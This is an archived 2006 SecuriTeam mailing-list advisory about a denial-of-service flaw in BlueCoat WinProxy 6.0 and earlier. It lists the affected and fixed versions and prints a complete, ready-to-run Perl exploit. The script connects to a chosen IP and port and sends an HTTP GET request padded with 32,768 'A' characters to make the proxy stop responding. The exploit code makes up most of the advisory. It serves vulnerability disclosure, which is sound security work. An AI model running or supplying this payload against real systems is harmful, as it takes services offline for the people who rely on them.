

[EXPL] BlueCoat WinProxy HTTP DoS (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-01/msg00029.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxxxx>
 - *Date:* 8 Jan 2006 13:53:11 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

BlueCoat WinProxy HTTP DoS (Exploit)

SUMMARY

<<http://www.winproxy.com/>> BlueCoat WinProxy is "an Internet sharing proxy server". Improper handling of long requests within BlueCoat WinProxy allow attackers to cause the program to no longer respond to legitimate requests.

DETAILS

Vulnerable Systems:

- * WinProxy version 6.0 and prior

Immune Systems:

- * WinProxy version 6.1a

Exploit:

```
#!/perl
```

```
#
```

```
# "WinProxy 6.0 R1c" Remote DoS Exploit
```

```
#
```

```
# Author: FistFucker
```

```
# e-Mail: FistFuXXer at gmx.de
```

[EXPL] BlueCoat WinProxy HTTP DoS (Exploit)

```
#  
#  
# Advisory:  
# http://www.iddefense.com/intelligence/vulnerabilities/display.php?id=363  
#  
# CVE info:  
# CAN-2005-3187  
#
```

```
use IO::Socket;
```

```
#  
# destination IP address  
#  
$ip = '127.0.0.1';
```

```
#  
# destination TCP port  
#  
$port = 80;
```

```
print "'WinProxy 6.0 R1c' Remote DoS Exploit'."\n\n";
```

```
$sock = IO::Socket::INET->new  
(
```

```
PeerAddr => $ip,  
PeerPort => $port,  
Proto => 'tcp',  
Timeout => 2
```

```
) or print '[-] Error: Could not establish a connection to the server!'  
and exit(1);
```

```
print "[+] Connected.\n";
```

```
$sock->send('GET /.' . 'A' x 32768 . " HTTP/1.1\r\n\r\n");
```

```
print "[+] DoS string has been sent.";
```

```
close($sock);
```

```
#EoF
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:FistFuXXer@xxxxxx>>
FistFucker.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxxx

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- Prev by Date: [**\[NT\] BlueCoat WinProxy Multiple DoS and Buffer Overflow**](#)
 - Next by Date: [**\[EXPL\] BlueCoat WinProxy Buffer Overflow \(Host header, Exploit\)**](#)
 - Previous by thread: [**\[NT\] BlueCoat WinProxy Multiple DoS and Buffer Overflow**](#)
 - Next by thread: [**\[EXPL\] BlueCoat WinProxy Buffer Overflow \(Host header, Exploit\)**](#)
 - Index(es):
 - ◆ [**Date**](#)
 - ◆ [**Thread**](#)